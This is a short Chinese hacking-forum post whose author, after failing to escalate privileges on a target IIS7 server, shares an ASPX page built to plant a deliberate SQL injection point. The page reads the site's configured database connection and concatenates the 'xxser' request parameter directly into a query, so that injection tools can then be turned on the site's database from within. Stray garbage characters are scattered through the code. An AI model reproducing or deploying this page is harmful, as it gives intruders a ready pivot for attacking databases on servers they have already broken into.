利用aspx构造注射来跨站

admin

昨天跟4z1看一个站点，提权很难提，看了整整5个小时，无果。 2008+iis7，无sa，无root，无各种服务。。。
其实中用到了aspx构造注射来跨站，网上找了一堆代码，没一个能用的。
代码量不多，自己写个拉倒了。烦死了。

5 ]$ `1 T- v7 }8 D- a: p+ l​
1 r4 Q, @1 D( e! H<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>暗影aspx构造注射专用页面</title>
2 r+ e  P+ W9 i( ^</head>
/ n2 v) h3 ]- F1 @- b* s/ @5 m<body>
$ ^/ H9 N- ~3 l3 }0 g3 X5 b    <form id="form1" runat="server">
    <div>
1 a% Y- n: u( }     <script language="c#" runat="server">
            
2 i+ g4 y# B' Q. @+ Q1 ^' a         void page_init(object sender, EventArgs e)
         {
            
" i! G$ i5 M) y- A5 X             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
            
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
             conn.Open();
            
' o' c* _( {% n2 H             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
+ T% k1 Y6 u. s2 s: I3 K! N. u            
5 R# ^' z: o, k             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
             int x = command.ExecuteNonQuery();
             Response.Write(i+"\n");
             Response.Write(x);
             conn.Close();
4 Y7 u. R, F* k7 N         }
7 Y4 E& X2 d! L+ u: f% S0 [5 ~  l' V     
  </script>
    </div>
5 @3 _9 A$ G# W- b+ V) c" ^    </form>
</body>
</html>
0 P8 n- d! f" V0 I